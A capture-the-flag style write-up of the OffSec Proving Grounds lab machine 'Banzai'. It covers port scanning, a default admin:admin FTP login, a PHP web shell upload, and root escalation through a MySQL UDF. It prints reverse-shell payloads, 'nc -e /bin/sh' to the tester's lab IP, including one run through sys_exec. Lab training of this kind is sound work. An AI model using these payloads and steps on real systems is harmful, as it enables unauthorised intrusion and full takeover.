> For the complete documentation index, see [llms.txt](https://infintesky.gitbook.io/pentesting/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://infintesky.gitbook.io/pentesting/proving-grounds/get-to-work/linux/banzai.md).

# Banzai

Writeup for Pelican from offsec Proving Grounds

## Information Gathering

`sudo ./nmapAutomator.sh 192.168.141.56 all`

![](https://1575243701-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mg-SvuygW2bF4zu7kiy%2Fuploads%2FFKuXEoyIvDk0m6xGoWUx%2Fimage.png?alt=media\&token=f6358938-54a7-4ce3-bfa5-d7beef27d618)

### Service Enumeration

### HTTP (Port 8295)

![](https://1575243701-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mg-SvuygW2bF4zu7kiy%2Fuploads%2FbuRkHTT27dwOBTAET56d%2Fimage.png?alt=media\&token=e3a0a6fc-23ad-445b-a428-c86d41a91799)

![](https://1575243701-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mg-SvuygW2bF4zu7kiy%2Fuploads%2FkniHvrEAM1NcQDtwgWB1%2Fimage.png?alt=media\&token=ea3fcb57-7de7-4f40-aeef-60f11389f6a2)

Doesn't look's like there's anything useful here.

### SMTP (Port 25)

SMTP user enumeration.

![](https://1575243701-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mg-SvuygW2bF4zu7kiy%2Fuploads%2FnanjNAWkzsxroBWutqAq%2Fimage.png?alt=media\&token=1ec2d186-04d6-4f76-9712-a1e2d8c3e1df)

We got the users in SMTP, however, they all need a password to be authenticated.

### FTP (Port 21)

We try `admin:admin` and we are authenticated!

![](https://1575243701-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mg-SvuygW2bF4zu7kiy%2Fuploads%2Fd4D1b7e6zprQA8FCx0jf%2Fimage.png?alt=media\&token=6270665c-ca0b-44de-8890-ec5fa9f7d59f)

The files here look very similar to our gobuster result on the web app on port 8295, maybe we can add a PHP web shell and access it from port 8295.

## Exploit

{% embed url="<https://github.com/artyuum/Simple-PHP-Web-Shell>" %}

Let's upload our web shell onto the FTP server.

![](https://1575243701-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mg-SvuygW2bF4zu7kiy%2Fuploads%2FOKC4qYxxwVhi17VECEJY%2Fimage.png?alt=media\&token=fa722524-bd76-42a3-92f9-dc1476c9e917)

Let's navigate to our web shell and we have RCE!

![](https://1575243701-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mg-SvuygW2bF4zu7kiy%2Fuploads%2FN8FDvvkVprI03g26IfFz%2Fimage.png?alt=media\&token=42fe552e-d904-4384-af20-481d44274f65)

Let's get our interactive shell.

Payload: `nc -e /bin/sh 192.168.49.141 22`

![](https://1575243701-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mg-SvuygW2bF4zu7kiy%2Fuploads%2FINs7gl2LTcOVJWih0iaf%2Fimage.png?alt=media\&token=75adb043-4002-4fbf-9012-5a3078823d7f)

## Privesc

Looks like there is `mysql` running as root and credentials to it.

![](https://1575243701-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mg-SvuygW2bF4zu7kiy%2Fuploads%2FKn3D1qppxb3Yt3jOOmst%2Fimage.png?alt=media\&token=d5ed8a16-aa93-4583-9758-c2f014b112b9)

![](https://1575243701-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mg-SvuygW2bF4zu7kiy%2Fuploads%2FYJIyheJbttPCiuu29Dec%2Fimage.png?alt=media\&token=f6064481-057f-42a4-a5f8-798d3522d3f2)

{% embed url="<https://book.hacktricks.xyz/pentesting/pentesting-mysql#privilege-escalation-via-library>" %}

We can follow this trick to gain root.

![](https://1575243701-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mg-SvuygW2bF4zu7kiy%2Fuploads%2FXAj3ATdKtmBLj0g4UwHe%2Fimage.png?alt=media\&token=5b84c089-0f4a-4c09-9d2a-44de46a33494)

![](https://1575243701-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mg-SvuygW2bF4zu7kiy%2Fuploads%2FIMiqGbDwZ6klnLSuadGa%2Fimage.png?alt=media\&token=c0e4c79b-9160-4f13-a933-a0ae1602c5f6)

Look's like the lib\_mysqludf\_sys.so is missing from our target machine. So let's download it to our attack machine and transfer it to our target machine.

{% embed url="<https://github.com/rapid7/metasploit-framework/tree/master/data/exploits/mysql>" %}

Let's check if our target machine is 32 or 64 bit.

![](https://1575243701-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mg-SvuygW2bF4zu7kiy%2Fuploads%2FRpNK8eNTh06tMofm1w39%2Fimage.png?alt=media\&token=e9b80cc0-043e-4288-89b2-628347c5fe67)

![](https://1575243701-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mg-SvuygW2bF4zu7kiy%2Fuploads%2FoDAJjRvhufB3yg6UEXna%2Fimage.png?alt=media\&token=3bce3092-5816-4e10-b9bb-b4e784e94f04)

Once we transfer the files, we can try getting a reverse shell.

Payload:

`select sys_exec('nc -e /bin/sh 192.168.49.141 22');`

![](https://1575243701-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mg-SvuygW2bF4zu7kiy%2Fuploads%2Fzbx89rfqDG9PdC3zBIJ8%2Fimage.png?alt=media\&token=193d700c-5b43-4baa-aca3-75f530bf9ea1)

![](https://1575243701-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mg-SvuygW2bF4zu7kiy%2Fuploads%2FQywCxNozPBMDHnbwyBCT%2Fimage.png?alt=media\&token=0d137167-7c7c-4e8d-91a0-eddb9a0e1fe3)